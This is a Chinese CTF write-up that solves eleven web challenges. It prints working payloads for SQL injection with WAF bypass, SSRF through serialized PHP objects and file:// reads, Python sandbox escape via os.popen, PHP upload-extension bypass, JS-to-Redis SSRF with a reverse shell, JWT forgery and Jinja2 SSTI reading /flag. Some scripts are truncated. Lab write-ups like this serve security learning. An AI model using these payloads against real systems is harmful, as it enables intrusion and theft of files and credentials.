0x00 fakebook
题目页面是这样的大概就是先join一个用户,然后再点进去看具体信息,可以看到blog的内容。这题我一开始以为是join那里有个时间盲注,因为我在username那里用了这样的payload,是成功了的:
adzzzzmin' or if((1=1),sleep(10),0)#
,但是后面发现,并不能注出什么东西出来。
正解如下:在具体信息页面(view.php)no参数存在注入,注出来有4列,第二列有回显
,然后,常规操作,
注意要用
/**/
绕过对union select的waf。
注出data列的内容是一串php的序列化数据,想到构造序列化的数据去ssrf读取flag.php(之所以知道是flag.php,是因为可以试出来),构造payload如下:
1 | no=1 and 1=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"aaa";s:3:"age";i:11;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' |
这样,flag的内容就会在本来显示blog内容的地方显示出来。这题其实算是比较友好的web题了,当时最后一个小时才看到,而且一开始以为是时间盲注,浪费了时间,可惜了。
0x01 calc
进来之后,发现是一个计算器给了个正则,一开始没发现有什么问题,后面才看到,这正则没有结束符。。只要开头跟正则匹配了就ok,也就是说,可以构造一个1+1+任何东西,然后,乱输url,发现后台是python写的
自然想到沙箱逃逸。题目过滤了ls,稍微绕过就可以,另外,因为要和数字进行运算,所以沙箱逃逸返回的必须是数字类型,可以先编码成16进制,然后再用int函数转化为数字类型。用这个payload列目录:
1 | 1+1+int(([].__getattribute__('__cla'+'ss__').__base__.__getattribute__([].__getattribute__('__cla'+'ss__').__base__,'__subclas'+'ses__')()[71].__dict__["__in"+"it__"].__getattribute__("__global"+"s__")['o'+'s'].__dict__['po'+'pen']('l'+'s /').__getattribute__('re'+'ad')()).encode('hex')) |
可以看到,flag就在/flag,改一下payload读flag即可。
0x02 wafUpload
1 |
|
看了几遍,发现文件后缀的检测很难绕过去,要求后缀是jpg,png,gif三个其中一个。在这里,我们可以构造一个数组,filename[2]=jpg,filename[1]=php
,这样可以绕过对end($file)
的检查,在最后的$filename = reset($file) . '.' . $file[count($file) - 1];
处,由于数组有两个元素,所以后缀会变成file[1],也就是php,最后生成的文件名就是php.php 。payload如下:上传就成功了。
蚁剑连上找到flag即可。
另外提一下,end函数取的并不是下标最大的那个元素,而是数组里最后的那个元素,比如这段代码,输出的是xxx。其实理解好php数组本质就可以了。
0x03 spider
这题是教育组的一道web题,到最后也还是零解,首先看看robots.txt,发现有东西
首页的爬虫分析系统会执行js代码,加上这里会输出a标签的innerHTML,所以可以用js去改变a标签的内容,这里可以想到用XMLHttpRequest来SSRF
1 | <a href="" id="flag">test</a> |
1 | #!/usr/bin/env python |
代码的第61行可以看到redis的关键字dbfilename,猜测应该是存在一个redis未授权访问,然后用redis写shell,可以先通过js扫描哪些端口是开放的。
1 | <a id='result'></a> |
注意这里用到的技巧,如果src错误,onload是不会执行的,因此只有端口开放,相应的端口才会加到data里面。
8000端口开放着,题目给了hint,8000端口有apache服务,这里还是可以通过js去对redis进行操作。
1 | <a id="flag">pwn</ a> |
level=low_273eac1c
是为了绕过sourcecode中的限制
这里用到了JavaScript的FormData对象,它用于将对象编译成键值对,以便用XMLHttpRequest来发送数据,其主要用于发送表单数据,但亦可用于发送带键数据(keyed data),而独立于表单使用。
然后直接反弹shell
1 | <a href="" id="flag">test</a> |
弹过来之后直接读flag即可。
不反弹shell,直接读flag.php也是可以的,写入文件的要变成echo file_get_contents('flag.php')
。
发现很多地方都是不能用一句话反弹shell的,python反弹是最稳的。这个题当时看了挺久的,很久才看懂题目意思,本来以为要用gopher打redis,然而并不存在
0x04 comein
1 |
|
首先限制了$_SERVER['REQUEST_URI']
的开头必须是’.’,这里可以利用apache的特性绕过,比如GET .zxcz/..//index.php
,apache会先解析到一个不存在的.zxcz目录,然后再../
出来,访问到index.php,这样就绕过了开头必须是.的限制,然后到最后还有一个$host==="c7f.zhuque.com"
的要求,我们可以构造例如.zxcz@c7f.zhuque.com/..//index.php的payload,单纯的这个payload,是不符合url格式的,parse_url也不会解析出host,所以$uri会变成http://$_SERVER['REMOTE_ADDR'].zxcz@c7f.zhuque.com/..//index.php
,这时候print_r($uri)
,内容是这样的:
1 | Array |
parse_url
解析的特性就不在这里赘述了,可以看到,限制host已经被构造成了c7f.zhuque.com
,自然也就可以读到flag了。
数据包的头部,除了可以用相对路径,绝对路径也可以使用,这样就可以构造更自由的REQUEST_URI,如果是相对路径,修改REQUEST_URI之后,就访问到别的地方去了。
这里我深入地研究了一下apache解析访问路径的特性,我放了一个echo hii 的zzz.php在apache的网站根目录,然后分别构造了以下的请求头,可以参照返回的结果了解一下apache解析路径的特性我是真的摸不透..求高人指点
0x05 i_am_admin
题目给了一个登录界面首先用它给的test:test用户登进去,发现有一串secret
而且可以发现,登录的同时,cookie中多了一个auth字段
看格式像是JWT,base64decode一下,果然是
,然后构造用test页面给的secret构造新的jwt
再替换一下auth,刷新页面就可以拿到flag
这题有个启发,像登录这类的一些关键的cookie不能放过,既可以尝试伪造也可以尝试注入甚至可以爆破(下面就有一题),很可能是解题关键
0x06 gold
这题进来是一个鼠标控制小人捡金币的游戏提示要达到1000金币才可以过关,单纯手玩不太可能,因为它貌似捡不到的还会扣分,而且游戏本身比较卡。抓包可以发现,每个金币掉下来都会发一个post包,如果post过去的是你当前的金币值
尝试了一下直接post 1000过去,发现会弹反作弊的框,然后,直接从0爆破到1001,可以拿到flag。
0x07 phone
题目描述:find the flag
这题给了一个可以注册和登录的网站注册的phone处限制了只能用数字,马上就能想到强网杯的three hit那题。这里返回的是phone跟你相同的数量,可以猜测后台是
select count(phone) from table where phone ='phone'
可以先用0x7a2720206f72646572206279203123(zzz’ order by 1#)和0x7a2720206f72646572206279203223(z’ order by 2#)测试一下,发现返回的结果符合猜测的语句(只有一列),然后,写个脚本
1 | #encoding:utf-8 |
这里要注意一个地方,mysql中,如果select的是count(?)
,如果找不到where语句符合的,会返回一个0,不同于普通的select字段。在普通的select字段的情况下,我们可以用类似于z' and 1=2 union select ...
来使得union select之前的语句不返回字段,不影响回显,但是这里不行,在这里union select
之前的语句会返回一个0放在第一行,如果这里不注意,就会发现永远都只能注一个0出来。所以,这里可以用
limit 1,1
或者是order by 1 desc
来绕过。然后,常规操作拿到flag。
0x08 mmmmy
题目描述:find the flag.
题目给了一个登陆框
首先随便输个用户名密码登进去,发现token是用的jwt,而且是python web(根据路由方式合理猜测)然后看到留言处,需要admin才可以留言,所以,jwtcracker爆破secret,伪造admin的token,在这个过程中发现,如果登录的时候用户名是a或者b或者d,都是爆破不出来正确的secret的,具体原因是什么我也不清楚,爆破出来secret是6a423
然后拿着伪造好的token以admin身份登录
这题有一个比较神奇的地方,一刷新,token就会变回去了,所以,只能在burp那里留言,或者写脚本
留言板处是存在SSTI的,先fuzz了一下,发现{{,}},',",_,os,system是被过滤了的,直接就返回一个none
除了用{{}},其实还可以用{%if 1%}gg{%endif%}这样的格式来进行SSTI,会返回一个gg
然后,对于诸多关键字被过滤的情况,可以用例如
[request.values.a]
的方法来获取参数a。首先这里可以用类似{% if [].__class__.__base__.__subclasses__().pop(40)('/flag')[0]=='f'%}zzz{% endif %}的方法来进行盲注盲注脚本如下
1 | #encoding:utf-8 |
还可以用jinja2的print方法,直接就能读到flag,不需要盲注
1 | text={% print ()[request.values.a][request.values.b][request.values.c]()[request.values.d](40)(request.values.e).read() %}&a=__class__&b=__base__&c=__subclasses__&d=pop&e=/flag& |
这里比较玄学,post过去的东西后面一定要加个&,不然就会500,get就不会有这种问题。
方法当然不止一种
0x09 comment
题目描述:find the flag
题目给了一个留言板,未登录留言的话会跳转到login.php然后
zhangwei/zhangwei666
登进去,然后就可以留言
然后看有没有源码泄露,发现有.git,githack拉下来,只有一个write_do.php
1 |
|
看上去卵用没有,怀疑没有拉全,控制台有提示
然后就要探索新姿势去把完整的源码拉下来,首先很明显我原来用的githack并不好用,这里推荐一个https://github.com/BugScanTeam/GitHack ,拉下来之后进行如下操作然后就可以看到完整的代码
1 |
|
首先我们可以看到题目,当你对某个帖子提交留言的时候,它会把你post过去的content显示出来,然后,我们看代码能否对content进行回显利用。发现这里存在一个二次注入,我们可以把发帖处的category构造为',content=(select load_file('/etc/passwd')),
,然后,把留言处的content构造为*/#
,这样出来的效果是这样子的,这时候,网页上就会显示出content的内容。
然后,我尝试了一下读/flag,发现没东西。这时候看到
/etc/passwd
里面有一个www用户,然后,我们可以读/home/www/.bash_history
,看看该用户都干过什么。根据他的操作记录,可以知道他在tmp目录解压了html.zip,然后到
/var/www/html
删掉了.DS_Store
,这个.DS_Store
应该十分关键,于是,读一下/tmp/html/.DS_Store
,直接读是不行的于是,先拿hex编码一下。
可以看到,有一个
flag_8946e1ff1ee3e40f.php
,然后同样的读取就可以get flag。
0x10 blog
题目描述:find the flag.
题目给了一个wordpress的站,看了下版本,搜了一下,是最新的,没有可以利用的漏洞but,首页上写着几个大字:’该博客为青龙鼎科技(qinglongdingkeji.com)官方技术博客。于是,可以到github上搜一下这个青龙鼎科技,在code处可以看到搜到了东西
有一个api.php,泄露了api信息,于是尝试遍历一下uid,可以看到,uid=233的时候返回长度是最大的,点开看看,发现就有flag